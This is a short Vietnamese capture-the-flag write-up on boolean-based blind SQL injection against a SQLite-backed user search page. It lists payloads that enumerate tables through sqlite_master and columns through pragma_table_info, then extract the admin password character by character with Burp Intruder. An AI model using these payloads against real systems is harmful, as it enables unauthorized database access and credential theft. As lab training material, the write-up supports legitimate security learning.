Web-Simple Blind SQL Injection

Nhận thấy website có chức năng search uid để xem user có tồn tại hay không. Có ô search thì ngay lập tức mình sẽ nghĩ đến XSS và SQLi. Thử vài input xem có gì nhé.


Nhận thấy khi thêm kí tự ’ thì website trả về lỗi, ‘’ thì website trả lại kết quả như bình thường => nghi ngờ là sql injeciton.

Tiếp tục nhận thấy trong thông báo lỗi có dòng: Nrows = 1 if query_db(“SELECT * FROM users WHERE uid = ‘%s’” % uid, one=True) else 0

Nhận thấy hệ thống đang truyền trực tiếp uid từ người dùng vào để thực thi câu truy vấn, nếu câu truy vấn thực hiện thành công và có trả về giá trị thì nrows =1 còn ngược lại thì nrows = 0.

Bài này sẽ cần sử dụng blind sql injection, ta sẽ áp dụng Boolean based sqlinjection. Sẽ biến câu truy vấn sau thành “SELECT * FROM users WHERE uid = ‘admin’ AND (câu điều kiện) --”.

Nhưng vì làm kết hợp ôn tập kiến thức nên mình sẽ giả sử như không biết tên db là users, không biết tên table là uid nha.

--------------------------------------------------------------------Bắt đầu thôi-------------------------------------------------------------------
B1: Kiểm tra trong database có bao nhiêu bảng bằng cách sử dụng câu điều kiện sau:

  • Số lượng bảng: "((SELECT count(*) FROM sqlite_master WHERE type=‘table’)=n) – ". Lúc này truy vấn sẽ có dạng (với n là số tự nhiên). Sử dụng burp instruder để test tìm ra số n.

    Ta tìm được n=1 => db này chỉ có duy nhất 1 table.

B2: Kiểm tra độ dài tên và tên của bảng

  • Độ dài tên bảng: (SELECT length(name) FROM sqlite_master WHERE type=‘table’).

    => Độ dài tên của bảng là 5
  • Tên của bảng: admin’ AND (SELECT substr((SELECT name FROM sqlite_master WHERE type=‘table’),1,1)=‘a’) –

    => Bảng có tên là users

Bước 3: Kiểm tra số lượng cột trong bảng và tên của từng cột:

  • Kiểm tra số lượng cột trong bảng: admin’ AND ((SELECT count(*) FROM pragma_table_info(‘users’))=3) –

    => Tìm được bảng có 3 cột
  • Kiểm tra tên của từng cột:
    + admin’ AND (SELECT substr((SELECT name from pragma_table_info(‘users’)LIMIT 1 OFFSET 0),1,1)=’a’) –
    + admin’ AND (SELECT substr((SELECT name from pragma_table_info(‘users’)LIMIT 1 OFFSET 1),1,1)=’a’) –
    + admin’ AND (SELECT substr((SELECT name from pragma_table_info(‘users’)LIMIT 1 OFFSET 2),1,1)=’a’) –

    => Nhận được giá trị của 3 cột là idx uid và upw
    Dự đoán là uid sẽ là cột chứa tên người dùng và upx là password. Ta sẽ dò giá trị password của tài khoản admin.

Bước 4: Rò giá trị password của tài khoản admin.

  • Payload: admin’ and (SUBSTRING((SELECT upw FROM users WHERE uid =‘admin’),1,1)=‘a’) –
  • Dùng intruder để rò tìm, ta thu được password là không nói được ^^